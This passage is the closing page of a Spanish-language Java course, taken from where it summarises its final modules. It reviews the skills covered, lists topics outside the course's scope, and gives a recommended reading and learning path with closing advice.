11. Frameworks Todo escrito a mano, incluido un contenedor de dependencias casero El ecosistema: proyecto Maven, Spring Boot con IoC y AOP, JPA/Hibernate sobre base de datos, 41 pruebas con JUnit 5 y Mockito, Jackson, Lombok y SLF4J con MDC
12. Mundo Real Piezas excelentes sin forma de producto Un producto: cinco módulos Maven con la arquitectura verificada por el compilador, patrones aplicados con criterio, CLI profesional, API REST documentada, estrategia de calidad con Testcontainers y mutación, desplegado en contenedores con migraciones versionadas, y con seguridad, observabilidad y plan de evolución

De un System.out.println a un sistema en producción con autenticación, métricas, trazas y una canalización de entrega continua. Ese es el viaje.

Qué sabes hacer ahora

Sin adornos ni falsa modestia, esto es lo que puedes hacer al terminar el curso:

Lenguaje. Escribes Java 21 idiomático: colecciones y streams con soltura, genéricos con comodines, Optional sin abusar, record y sealed donde aportan, pattern matching, java.time con reloj inyectable. Entiendes qué pasa por debajo: el borrado de tipos, la carga de clases, la memoria, el GC y por qué medir antes de optimizar.

Diseño. Aplicas SOLID con ejemplos, no de memoria. Reconoces y usas los patrones cuando resuelven un problema real, y —lo que cuesta más— sabes no usarlos cuando no lo resuelven. Diseñas arquitecturas por capas y hexagonales, sabes dónde va cada responsabilidad, y usas las herramientas para que las fronteras se cumplan solas.

Ecosistema. Manejas Maven multimódulo, Spring Boot con inyección de dependencias, configuración por perfiles y AOP, JPA/Hibernate incluidos los problemas reales (N+1, carga perezosa, bloqueo optimista), Jackson, SLF4J y las librerías que conviene no reinventar.

Calidad. Escribes pruebas en el nivel correcto, con dobles cuando toca y base de datos real cuando importa. Interpretas la cobertura sin engañarte, sabes que las pruebas de mutación miden lo que la cobertura no puede, refactorizas con red, y puedes desarrollar guiado por pruebas cuando el problema lo pide.

Operación. Contenerizas correctamente, configuras la JVM para un contenedor, versionas el esquema con migraciones compatibles hacia atrás, despliegues sin corte de servicio con vuelta atrás, y montas una canalización que verifica, construye, publica y despliega.

Producción. Proteges una API con autenticación y autorización, conoces las vulnerabilidades comunes y su prevención concreta, instrumentas métricas técnicas y de negocio, correlacionas registros con trazas, y escribes alertas que alguien atenderá en vez de ignorar.

Y una competencia que no aparece en ninguna lista de requisitos y vale más que todas: sabes por qué las cosas son como son. Sabes qué hace Spring por debajo porque escribiste un contenedor de dependencias a mano. Sabes qué hace un servidor web porque escribiste uno con sockets. Sabes qué hace @Transactional porque escribiste proxies dinámicos. Cuando algo falle de una forma que no está en ningún tutorial, tendrás dónde mirar.

Qué NO cubre este curso

Ser honesto sobre los límites es parte de enseñar bien. Estas son áreas importantes que este curso no cubre y que merecen estudio propio:

Área Qué es Por dónde empezar
Kotlin Lenguaje moderno de la JVM, interoperable con Java. Estándar en Android Kotlin in Action; la documentación oficial
Android Desarrollo móvil sobre la JVM: ciclo de vida, Jetpack Compose Documentación de desarrolladores de Android
Programación reactiva WebFlux, Project Reactor: modelo no bloqueante para muy alta concurrencia Reactive Spring; y valorar antes si los hilos virtuales ya resuelven tu caso
Microservicios y mensajería Kafka, RabbitMQ, sagas, consistencia eventual, malla de servicios Building Microservices de Sam Newman
Big data Spark, Flink, procesamiento distribuido Designing Data-Intensive Applications
Arquitectura de datos Modelado avanzado, particionado, CQRS, event sourcing, data warehouse Designing Data-Intensive Applications, de nuevo
Seguridad avanzada Criptografía aplicada, OAuth2 y OIDC completos, análisis forense OWASP Testing Guide; formación específica
Rendimiento profundo Perfilado avanzado, ajuste de GC, optimizaciones de la JIT Optimizing Java; JVM Anatomy Quarks
DDD estratégico Contextos delimitados, lenguaje ubicuo, mapas de contexto Domain-Driven Design de Eric Evans; Learning DDD de Vlad Khononov

Ruta de aprendizaje recomendada

Ahora mismo (esta semana):

  1. Construye algo tuyo. No sigas otro tutorial. Elige un problema que te importe —un gestor de gastos, un seguidor de hábitos, una herramienta para tu trabajo— y hazlo con lo que sabes. Vas a encontrarte con decisiones que ningún curso plantea, y ahí es donde se aprende de verdad.
  2. Vuelve a BiblioTech y añade algo: los informes en PDF, la app de consola con más comandos, la interfaz web con Thymeleaf. Tienes la arquitectura; úsala.

Los próximos tres meses:

  1. Lee estos tres libros, en este orden:

    • Effective Java, Joshua Bloch. Noventa elementos sobre cómo escribir Java correctamente. Es el libro que todo desarrollador Java debería haber leído, y el que da nombre al «Java Efectivo» que has estado prestando durante doce módulos.
    • Clean Code, Robert C. Martin. Con espíritu crítico: no todo lo que dice es incontestable, y el debate que genera es parte de su valor.
    • Refactoring, Martin Fowler. El catálogo de transformaciones seguras. Complementa perfectamente lo visto en 12-05.
  2. Lee código ajeno. Clona Spring Boot, o una librería que uses, y lee cómo está hecha. Al principio será incómodo; en un mes será la forma más rápida que tienes de aprender.

  3. Sigue los JEP (JDK Enhancement Proposals) en openjdk.org/jeps. Es donde se decide el futuro del lenguaje, y leerlos te da meses de ventaja.

Los próximos seis meses:

  1. Contribuye a un proyecto de código abierto. Empieza por documentación o por incidencias etiquetadas como good first issue. Recibirás revisiones de código de gente con más experiencia, que es el mejor aprendizaje que existe y además gratis.

  2. Profundiza en una especialidad, la que te atraiga: datos, arquitectura, seguridad, rendimiento, plataforma. Ser bueno en todo no existe.

  3. Enseña lo que sabes. Escribe sobre lo que aprendes, explícaselo a alguien, da una charla interna. No hay forma más eficaz de descubrir lo que no entiendes del todo.

Recursos de referencia permanente:

Recurso Para qué
docs.oracle.com/javase La documentación oficial de Java. Léela; es mejor de lo que la gente cree
spring.io/guides y su referencia Spring, de primera mano
openjdk.org/jeps El futuro del lenguaje
Baeldung Tutoriales prácticos de calidad
InfoQ Tendencias y arquitectura
Stack Overflow Para buscar, no para copiar sin entender

Un consejo final

Cuatro cosas, y son las que separan a alguien que programa en Java de alguien que es buen desarrollador.

Lee código. Vas a pasar mucho más tiempo leyendo que escribiendo: código ajeno, código tuyo de hace seis meses, código de librerías. Leer bien es una habilidad que se entrena, y casi nadie la entrena a propósito. Empieza hoy.

Escribe código. Ninguna cantidad de lectura sustituye a haberlo hecho. Los conceptos de este curso —la inversión de dependencias, el patrón Decorador, la frontera de errores— no se entienden de verdad hasta que los has aplicado y te has equivocado con ellos. Equivócate en proyectos tuyos, que es donde sale barato.

Mide antes de optimizar. Es la lección de 10-07 y vale para todo lo demás. Tu intuición sobre qué es lento, sobre qué se rompe, sobre qué usan los usuarios, es sistemáticamente errónea. Mide, y decide con datos. Y también al revés: no dejes de medir después, porque un sistema que nadie observa se degrada sin que nadie lo note.

No dejes de aprender. Cuando empezaste este curso, Java 21 era la LTS actual. Dentro de tres años será otra, y habrá cosas en el lenguaje que hoy no existen. Los frameworks cambiarán, las herramientas cambiarán, las prácticas cambiarán. Lo que no cambia es el fondo: separar responsabilidades, hacer explícitas las dependencias, no repetir conocimiento, probar lo que importa, medir antes de decidir, y escribir código que la siguiente persona pueda entender. Eso es lo que te llevas de aquí, y sirve en cualquier lenguaje.

Una última observación, que quizá sea la más útil de todas.

Durante doce módulos, BiblioTech ha ido y venido: se ha reescrito, se ha refactorizado, se han tirado decisiones que parecían buenas —el sealed de Material, el CSV, el contenedor de dependencias casero, el java.util.logging— y se han sustituido por otras mejores. En ningún momento eso fue un fracaso. Era el proceso.

El software real se hace así: decisiones razonables con la información disponible, que más tarde se revisan con información nueva. Un desarrollador con experiencia no es alguien que acierta a la primera; es alguien que ha aprendido a construir sistemas que se pueden cambiar cuando se descubre que la primera decisión no era la correcta.

Eso es exactamente lo que has estado haciendo.

Ahora ve a construir algo.

Curso de Programación en Java

Módulo 1: Introducción a Java

Módulo 2: Flujo de Control

Módulo 3: Programación Orientada a Objetos

Módulo 4: Programación Orientada a Objetos Avanzada

Módulo 5: Estructuras de Datos y Colecciones

Módulo 6: Manejo de Excepciones

Módulo 7: Entrada/Salida de Archivos

Módulo 8: Multihilo y Concurrencia

Módulo 9: Redes

Módulo 10: Temas Avanzados

Módulo 11: Frameworks y Librerías de Java

Módulo 12: Construcción de Aplicaciones del Mundo Real

© Copyright 2026. Todos los derechos reservados